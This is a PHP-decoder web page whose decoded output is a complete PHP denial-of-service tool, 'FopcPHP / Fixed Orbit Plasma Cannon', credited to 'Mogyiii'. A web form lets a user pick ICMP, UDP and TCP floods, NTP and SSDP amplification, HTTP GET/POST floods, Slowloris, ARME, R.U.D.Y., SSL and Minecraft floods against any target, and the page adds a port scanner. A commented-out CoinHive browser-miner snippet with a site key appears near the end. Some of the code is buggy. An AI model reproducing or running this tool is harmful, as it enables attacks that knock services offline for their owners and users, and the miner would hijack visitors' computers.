Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ob_start(); @set_time_limit(0); ini_set('memory_limit', '512M'); header('Conten..

Decoded Output download

<?php  
ob_start(); 
@set_time_limit(0); 
ini_set('memory_limit', '512M'); 
header('Content-Type: text/html; charset=charset=UTF-8'); 
date_default_timezone_set ("UTC"); 
error_reporting(0); 
$serverip = $_SERVER['SERVER_ADDR']; 
 
?>  
<html>  
<head>  
	 <link rel="icon" type="image/jpeg" href="https://www.usanetworkstore.com/media/catalog/product/cache/2/image/1000x/040ec09b1e35df139433887a97daa66f/f/s/fsociety_tshirt2.jpg" /> 
 <meta charset="UTF-8"> 
<title>FopcPHP - PHP DOS Tool</title>  
<link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">  
   
<style> 
	@import url('https://fonts.googleapis.com/css?family=Roboto'); 
	html, body{ 
		font-family: 'Press Start 2P', cursive; 
		margin: 0; 
		padding: 0; 
		background-color: #151515; 
		color: #FFFFFF; 
		 
	} 
.form-style-8{ 
    font-family: 'Open Sans Condensed', arial, sans; 
    width: 500px; 
    padding: 30px; 
    background: #FFFFFF; 
    margin: 50px auto; 
    overflow: auto; 
    box-shadow: 0px 0px 15px rgba(0, 0, 0, 0.22); 
    -moz-box-shadow: 0px 0px 15px rgba(0, 0, 0, 0.22); 
    -webkit-box-shadow:  0px 0px 15px rgba(0, 0, 0, 0.22); 
} 
.form-style-8 h2{ 
    background: #4D4D4D; 
    text-transform: uppercase; 
    font-family: 'Open Sans Condensed', sans-serif; 
    color: #797979; 
    font-size: 18px; 
    font-weight: 100; 
    padding: 20px; 
    margin: -30px -30px 30px -30px; 
} 
.form-style-8 input[type="text"], 
.form-style-8 input[type="date"], 
.form-style-8 input[type="datetime"], 
.form-style-8 input[type="email"], 
.form-style-8 input[type="number"], 
.form-style-8 input[type="search"], 
.form-style-8 input[type="time"], 
.form-style-8 input[type="url"], 
.form-style-8 input[type="password"], 
.form-style-8 textarea, 
.form-style-8 select  
{ 
    box-sizing: border-box; 
    -webkit-box-sizing: border-box; 
    -moz-box-sizing: border-box; 
    outline: none; 
    display: block; 
    width: 100%; 
    padding: 7px; 
    border: none; 
    border-bottom: 1px solid #ddd; 
    background: transparent; 
    margin-bottom: 10px; 
    font: 16px Arial, Helvetica, sans-serif; 
    height: 45px; 
} 
.form-style-8 input[type="button"],  
.form-style-8 input[type="submit"]{ 
    background-color:#BB2E2C; 
    border: 2px solid #0B1212; 
    display: inline-block; 
    cursor: pointer; 
    color: #FFFFFF; 
    font-family: 'Roboto', sans-serif; 
    font-size: 16px; 
    padding: 8px 18px; 
    text-decoration: none; 
    text-transform: uppercase; 
    transition: all 0.4s; 
    width: 200px; 
} 
 
.form-style-8 input[type="button"]:hover,  
.form-style-8 input[type="submit"]:hover{ 
	background-color: #323232; 
} 
.logo{ 
	opacity: 0.5; 
	transition: 2s; 
	padding: 5px; 
} 
.logo:hover{ 
	opacity: 0.2; 
} 
.break{ 
	width: 30%; 
	background-color: red; 
	margin: 0 auto; 
	 
} 
a:link { 
    color: black; 
} 
 
/* visited link */ 
a:visited { 
    color: grey; 
} 
 
/* mouse over link */ 
a:hover { 
    color: red; 
} 
 
/* selected link */ 
a:active { 
    color: lightblue; 
} 
</style> 
</head> 
<body> 
 
<center><br>  
 
   
 
<img height="400" src="http://img15.deviantart.net/cbf5/i/2011/084/1/6/ion_cannon_by_zoriy-d3cfk9f.jpg" class="logo"><br>  
<h5>Fixed Orbit Plasma Cannon PHP</h5> 
<b>Your IP:</b> <font color="red"><?php echo $_SERVER['REMOTE_ADDR']; ;?></font> 
<b>Your SERVER IP:</b> <font color="red"><?php echo $serverip;?></font> 
<br> 
<div class="form-style-8" id="wrap"> 
<form name="input" action="" method="post">  
	Method: 
<select name="method" onchange="Check(this);" required> 
	<option  selected disabled selected value> -- select a Method -- </option> 
	<optgroup label="Layer 3:"> 
		<option value="icmp">ICMP</option> 
		<!--<option value="smurf">ICMP SMURF</option>--> 
	<optgroup label="Layer 4:"> 
  <option value="udp" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>UDP Flood</option> 
  <option value="tcp" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>TCP Flood</option> 
  <option value="ntpattack">NTP Attack(DNS Attack)</option> 
  <option value="ssdpattack">SSDP Attack</option> 
<optgroup label="Layer 7:"> 
  <option value="post" <?php if(!function_exists('curl_version')){echo "disabled";}?>>POST Flood</option> 
  <option value="get" <?php if(!function_exists('curl_version')){echo "disabled";}?>>GET Flood</option> 
  <option value="ssl" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>SSL Flood</option> 
   
  <option value="404" <?php if(!function_exists('curl_version')){echo "disabled";}?>>Evade CDN service</option> 
  <option value="slowloris" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>Slowloris Attack</option> 
  <option value="arme" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>ARME Attack</option> 
  <option value="rudy">R.U.D.Y Attack</option> 
  <optgroup label="Layer 7 - to Minecraft:"> 
	  <option value="minecraftbandwitdh">bandwitdh Flood</option> 
</select> 
<input type="text" name="ip" size="15" maxlength="150" class="main" placeholder="Target HOST/URL" value = "" id="sinput1" style="display: none;">  
<input type="text" name="srcip" size="15" maxlength="150" class="main" placeholder="Source HOST/URL" value = "" id="sinput1_2" style="display: none;">  
<input type="number" name="time" size="14" maxlength="20" class="main" placeholder="Time (in seconds)" value = "" id="sinput2" style="display: none;"> 
<input type="number" name="lenght" size="14" maxlength="20" class="main" placeholder="Lenght" value = "" id="sinput4" style="display: none;">   
<input type="number" name="port" size="5" maxlength="5" class="main" placeholder="Port" value = "" style="display: none;" id="sinput3">  
<input type="number" name="timedout" size="5" maxlength="5" class="main" placeholder="Timedout (default: 30)" value = "30" style="display: none;" id="sinput5"> 
<input type="number" name="builds" size="15" maxlength="150" class="main" placeholder="Build socket" value = "100" id="sinput6" style="display: none;">  
<br><br>  
<input type="submit" name="attack" value="Start the Attack">  
<br><br> 
</form> 
<details><summary><pre style="color:black; cursor: pointer">Port Scannner (spoiler)</pre></summary> 
<form name="input" action="" method="post">  
	<input type="text" name="ip" size="15" maxlength="150" class="main" placeholder="Target HOST/URL" value = "" id="sinput1"> 
	<input type="number" name="minport" size="5" maxlength="5"  placeholder="Minimum Port number" value = ""  id="sinput3">  
	<input type="number" name="maxport" size="5" maxlength="5"  placeholder="Maximum Port number" value = ""  id="sinput3">  
	<input type="submit" name="scan" value="Start the Scanner">  
</details> 
 
<details><summary><pre style="color:black; cursor: pointer">HELP! (spoiler)</pre></summary> 
<a href="https://wikipedia.org/wiki/Transport_Layer_Security"><pre style="color:black">What is this "layer"?</a> 
<a href="https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers"><pre style="color:black">What is this "Port"?</a> 
<a href="https://en.wikipedia.org/wiki/Denial-of-service_attack"><pre style="color:black">What is this "Dos"?</a> 
</details> 
</form>  
<pre style="color:black">Coded by: Mogyiii</pre> 
<pre style="color:black">Buy stronger Fopc for windows</pre> 
<a href="https://youtu.be/-z-CMtXXerU">Link</a> 
</center>  
 <script> 
	 function Check(that) { 
        if (that.value == "icmp") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "none";//port 
            document.getElementById("sinput5").style.display = "none";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
        if (that.value == "ntpattack") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "inline";//port 
            document.getElementById("sinput5").style.display = "none";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
        if (that.value == "ssdpattack") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "inline";//port 
            document.getElementById("sinput5").style.display = "none";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
		if (that.value == "udp") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "inline";//port 
            document.getElementById("sinput4").style.display = "inline";//length 
            document.getElementById("sinput5").style.display = "inline";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
        if (that.value == "tcp") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "inline";//port 
            document.getElementById("sinput4").style.display = "inline";//length 
            document.getElementById("sinput5").style.display = "inline";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
        if (that.value == "post") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "none";//port 
            document.getElementById("sinput5").style.display = "none";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
        if (that.value == "get") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "none";//port 
            document.getElementById("sinput5").style.display = "none";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
        if (that.value == "404") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "none";//port 
            document.getElementById("sinput5").style.display = "none";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
        if (that.value == "slowloris") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "inline";//port 
            document.getElementById("sinput5").style.display = "inline";//timeout 
            document.getElementById("sinput6").style.display = "inline";//socket 
        } 
        if (that.value == "arme") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "inline";//port 
            document.getElementById("sinput4").style.display = "none";//length 
            document.getElementById("sinput5").style.display = "inline";//timeout 
            document.getElementById("sinput6").style.display = "inline";//socket 
        } 
        if (that.value == "rudy") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "inline";//port 
 
            document.getElementById("sinput5").style.display = "none";//timeout 
            document.getElementById("sinput6").style.display = "inline";//socket 
        } 
        if (that.value == "minecraftbandwitdh") { 
            document.getElementById("sinput1").style.display = "inline";//Target ip 
            document.getElementById("sinput1_2").style.display = "none";//source ip 
            document.getElementById("sinput2").style.display = "inline";//Time 
            document.getElementById("sinput3").style.display = "inline";//port 
            document.getElementById("sinput5").style.display = "none";//timeout 
            document.getElementById("sinput6").style.display = "none";//socket 
        } 
    } 
 </script> 
 
 
<div class="break"> 
<? 
if(isset($_POST['attack'])){ 
	$socketn = $_POST['builds']; 
	$lenght = $_POST['lenght']; 
	$timedout = $_POST['timedout']; 
	$ip = $_POST['ip']; 
	$srcip = $_POST['srcip']; 
	$method = $_POST['method'];   
	$port = $_POST['port'];  
	$exec_time = $_POST['time'];  
	$packets = 0;  
	$starttime = date("Y-m-d H:i:s"); 
	ignore_user_abort(FALSE);  
	$time = time();  
	$max_time = $time+$exec_time;  
	print "<div class='form-style-8'><pre style='color:black'> 
 
 
Method: '$method' ip: $ip on port $port, time $max_time 
 
 
<details><summary><p style='color:black; cursor: pointer'>Logs(spoiler)</p></summary> 
	";  
	 
	ini_set('max_execution_time', $max_time); 
 
 
	function icmp($ip, $starttime, $lenght, $max_time, $exec_time){ 
		while(1){  
			try{ 
			$packets++;  
						if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
						} 
							$package = "/ping"; 
							$socket = socket_create(AF_INET, SOCK_RAW, 1); 
							socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 0)); 
							socket_connect($socket, $ip, null); 
							socket_send($socket, $package, strlen($package), 0); 
			} 
			catch (Exception $e){ 
				echo $e; 
			} 
		} 
	} 
 
 
	function rudy($ip, $port, $starttime, $socketn, $max_time, $exec_time){ 
		$sourceips['google'] = '74.125.127.103'; 
		while(1){  
			try{ 
						if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
						} 
				for($i=0;$i<=$socketn;$i++){ 
						$sock[$i] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
						socket_connect($sock[$i], $ip, $port); 
						$out="POST / HTTP/1.1
"; 
						$out.="Host: ".$ip."
"; 
						$out.= "Connection: keep-alive
"; 
						$out.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
"; 
						$out.="Content-length: 100000000
"; 
						$out.= "
"; 
						$packets++;  
						socket_write($sock[$i], $out); 
				} 
				for($j=0;$j<=$packets;$j++){ 
					socket_write($sock[$j], "A"); 
				} 
				}catch (Exception $e){ 
				echo $e; 
			} 
		} 
	} 
	function bandwidth($ip, $starttime, $method, $max_time, $exec_time){ 
		while(1){  
			try{ 
			$packets++;  
			if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
			} 
			if($method=="POST"){ 
				$ch = curl_init();   
				curl_setopt($ch, CURLOPT_URL, $ip); 
				curl_setopt($ch, CURLOPT_HEADER, 0); 
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); 
				curl_setopt($ch, CURLOPT_POSTFIELDS, "CICA"); 
				 
				$login = curl_exec($ch); 
			} 
			if($method=="GET"){ 
				$ch = curl_init();   
				curl_setopt($ch, CURLOPT_URL, $ip); 
				curl_setopt($ch, CURLOPT_HEADER, 0); 
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); 
				 
				$login = curl_exec($ch); 
			} 
			if($method=="404"){ 
				$ch = curl_init();   
				curl_setopt($ch, CURLOPT_URL, $ip . "/x.gif"); 
				curl_setopt($ch, CURLOPT_HEADER, 0); 
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); 
				 
				$login = curl_exec($ch); 
			} 
			}catch (Exception $e){ 
				echo $e; 
			} 
		} 
	} 
	function ntpattack($ip, $port, $starttime, $max_time, $exec_time){ 
		while(1){  
			try{ 
				$packets++; 
						if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
						} 
		$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); 
		socket_connect($sock, $ip, 123); 
		$data = "*" + "" * 4; 
		socket_send($sock, $data, strlen($data), 0); 
			}catch (Exception $e){ 
				echo $e; 
			} 
		} 
	} 
	function ssdpattack($ip, $port, $starttime, $max_time, $exec_time){ 
		while(1){  
			try{ 
				$packets++; 
						if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
						} 
		$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); 
		socket_connect($sock, $ip, $port); 
		$data = 'M-SEARCH * HTTP/1.1
'; 
		$data .= 'HOST: 239.255.255.250:1900
'; 
        $data .= 'MAN: "ssdp:discover"
'; 
        $data .= 'MX: 2
'; 
        $data .= 'ST: ssdp:all

'; 
		socket_send($sock, $data, strlen($data), 0); 
			}catch (Exception $e){ 
				echo $e; 
			} 
		} 
	} 
	function udpflood($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time){ 
		for($i = 0; $i < $lenght; $i++){ 
			$data += 'A'; 
		} 
		while(1){ 
			try{ 
			$packets++;  
						if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
						} 
				$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); 
				socket_connect($sock, $ip, $port); 
				 
				socket_send($sock, $data, strlen($data), 0); 
		}catch (Exception $e){ 
					echo $e; 
		} 
	} 
} 
	function tcpudp($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time){ 
		for($i = 0; $i < $lenght; $i++){ 
			$data += 'A'; 
		} 
		while(1){ 
			try{ 
			$packets++;  
						if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
						} 
				$fp = fsockopen($method."://".$ip, $port, $errno, $errstr, $timedout);  
				fwrite($fp, $data);  
				fclose($fp); 
			}catch (Exception $e){ 
				echo $e; 
			} 
		} 
	} 
	function minecraftbandwidthflood($ip, $port, $starttime, $max_time, $exec_time){ 
		while(1){ 
			try{ 
			$packets++;  
						if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
						} 
				$fp[$packets] = fsockopen($ip, $port, $errno, $errstr, 1); 
				fwrite($fp[$packets], "" . $ip . "e"); 
				 
			}catch (Exception $e){ 
				echo $e; 
			} 
		} 
	} 
 
	 
	function arme($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time){ 							//ARME 
		$armetomb=array( 
		"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", 
		"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", 
		"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", 
		"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", 
		"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", 
		"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", 
		"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", 
		"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", 
		"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", 
		"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", 
		"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1", 
		"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", 
		"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]", 
		"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", 
		"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6", 
		"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", 
		"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", 
		"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", 
		"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", 
		"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1", 
		"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", 
		"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02", 
		"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60", 
		"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0", 
		"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", 
		"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)", 
		"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)", 
		"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", 
		"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1", 
		"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", 
		"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", 
		"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0", 
		"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", 
		"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0", 
		"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)", 
		"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1", 
		"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", 
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4", 
		"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1", 
		"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"); 
		 
		while(1){ 
			try{  
						if(time() > $max_time){ 
							output($packets, $starttime, $exec_time, $lenght); 
							break;  
						} 
			 
				$rand=rand(0, 47); 
				for($i=0;$i<=$socketn;$i++){ 
					$fp[$i]=fsockopen("$ip",$port,$errno,$errstr,$timedout); 
					$out="HEAD / HTTP/1.1
"; 
					$out.="Host: ".$ip."
"; 
					$out.="User-Agent: ".$armetomb[$rand]."
"; 
					$out.= "Connection: keep-alive
"; 
					$out.= "
"; 
					$packets++;  
					fwrite($fp[$i],$out); 
				} 
				for($j=0;$j<=$socketn;$j++){ 
					fclose($fp[$j]); 
				} 
			}catch (Exception $e){ 
				echo $e; 
			} 
		} 
		 
	} 
	function slowloris($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time){						//SLOWLORIS 
		$lenght=42; 
			while(1){ 
				try{  
					if(time() > $max_time){ 
						output($packets, $starttime, $exec_time, $lenght); 
						break;  
					} 
				 
					for($i=0;$i<=$socketn;$i++){ 
						$fp[$i]=fsockopen("$ip",$port,$errno,$errstr,$timedout); 
						$out="POST / HTTP/1.1
"; 
						$out.="Host: ".$ip."
"; 
						$out.='Content-Type: application/x-www-form-urlencoded
'; 
						$out.="Content-length: ".$lenght."
"; 
						$out.= "Connection: keep-alive
"; 
						$out.= "
"; 
						$packets++;  
						fwrite($fp[$i],$out); 
				} 
				for($j=0;$j<=$socketn;$j++){ 
					 
					fclose($fp[$j]); 
				} 
				}catch (Exception $e){ 
				echo $e; 
				} 
			} 
 
 
	} 
    function toxicssl($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time){ 
            while(1){ 
                try{  
                    if(time() > $max_time){ 
                        output($packets, $starttime, $exec_time, $lenght); 
                        break;  
                    } 
                 
                    for($i=0;$i<=$socketn;$i++){ 
                        $fp[$i]=fsockopen("ssl://$ip",443,$errno,$errstr,$timedout); 
                        $out="GET / HTTP/1.1
"; 
                        $out.="Host: ".$ip."
"; 
                        $out.= "Connection: keep-alive
"; 
                        $out.= "
"; 
                        $packets++;  
                        fwrite($fp[$i],$out); 
                } 
                for($j=0;$j<=$socketn;$j++){ 
                    while (!feof($fp[$j])) { 
                    echo fgets($fp[$j], 128); 
                    } 
                } 
                }catch (Exception $e){ 
                echo $e; 
                } 
            } 
    } 
	function output($packets, $starttime, $exec_time, $lenght){ 
		 
		echo"</details>"; 
 
		echo "<h1>Report</h1> 
		<pre style='color:black'> 
		Attack performed!!! ^-^  
 
		|Start Flood: $starttime 
					| 
					| 
					V 
		| Ended:".date("Y-m-d H:i:s")."										 
		| send packets: $packets 						 
		| ". round($packets/$exec_time, 2) . " packets/s 							 
		| "; 
 
		echo"This is an estimate!"; 
		 
	} 
	switch ($method) { 
    case "icmp": 
        icmp($ip, $starttime, $lenght, $max_time, $exec_time); 
        break; 
    case "smurf": 
        smurf($ip, $starttime, $lenght, $srcip, $max_time, $exec_time); 
        break; 
    case "udp": 
        udpflood($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time); 
        break; 
    case "tcp": 
        tcpudp($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time); 
        break; 
    case "syn": 
		synflood($ip, $port, $starttime, $srcip, $max_time, $exec_time); 
		break; 
	case "get": 
		bandwidth($ip, $starttime, $method, $max_time, $exec_time); 
		break; 
	case "post": 
		bandwidth($ip, $starttime, $method, $max_time, $exec_time); 
		break; 
	case "slowloris": 
		slowloris($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time); 
		break; 
	case "arme": 
		arme($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time); 
		break; 
	case "rudy": 
		rudy($ip, $port, $starttime, $socketn, $max_time, $exec_time); 
		break; 
	case "ntpattack": 
		ntpattack($ip, $port, $starttime, $max_time, $exec_time); 
		break; 
	case "ssdpattack": 
		ssdpattack($ip, $port, $starttime, $max_time, $exec_time); 
		break; 
	case "ssl": 
		tcpudp($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time); 
		break; 
	case "minecraftbandwitdh": 
		minecraftbandwidthflood($ip, $port, $starttime, $max_time, $exec_time); 
		break; 
	case "hoic":  
		hoic($ip, $starttime, $max_time, $exec_time); 
		break; 
	case "": 
		echo "404 - Method Not Found"; 
		break; 
	} 
} 
if(isset($_POST['scan'])){ 
	$ip = $_POST['ip']; 
	$minport =$_POST['minport']; 
	$maxport =$_POST['maxport']; 
	for($i=$minport; $i <= $maxport; $i++){/*65535*/ 
	try{ 
	$fp[$i]=fsockopen("tcp://$ip", $i,$errno,$errstr, 1); 
	if ($fp[$i]) { 
		echo "Opened Port: ".$i." at ".$ip; 
	} 
	}catch (Exception $e){ 
		echo $e; 
		} 
	 
	 
} 
	 
} 
 
 
?> 
</div> 
<!--<script src="https://authedmine.com/lib/authedmine.min.js"></script> 
<script> 
    var miner = new CoinHive.Anonymous('puxPZJXqKwDci7nL8zxk9K3mjccdnD4D', {throttle: 0.3}); 
        miner.start(); 
</script>--> 
</body>  
</html>  
 
 

Did this file decode correctly?

Original Code

<?php 
ob_start();
@set_time_limit(0);
ini_set('memory_limit', '512M');
header('Content-Type: text/html; charset=charset=UTF-8');
date_default_timezone_set ("UTC");
error_reporting(0);
$serverip = $_SERVER['SERVER_ADDR'];

?> 
<html> 
<head> 
	 <link rel="icon" type="image/jpeg" href="https://www.usanetworkstore.com/media/catalog/product/cache/2/image/1000x/040ec09b1e35df139433887a97daa66f/f/s/fsociety_tshirt2.jpg" />
 <meta charset="UTF-8">
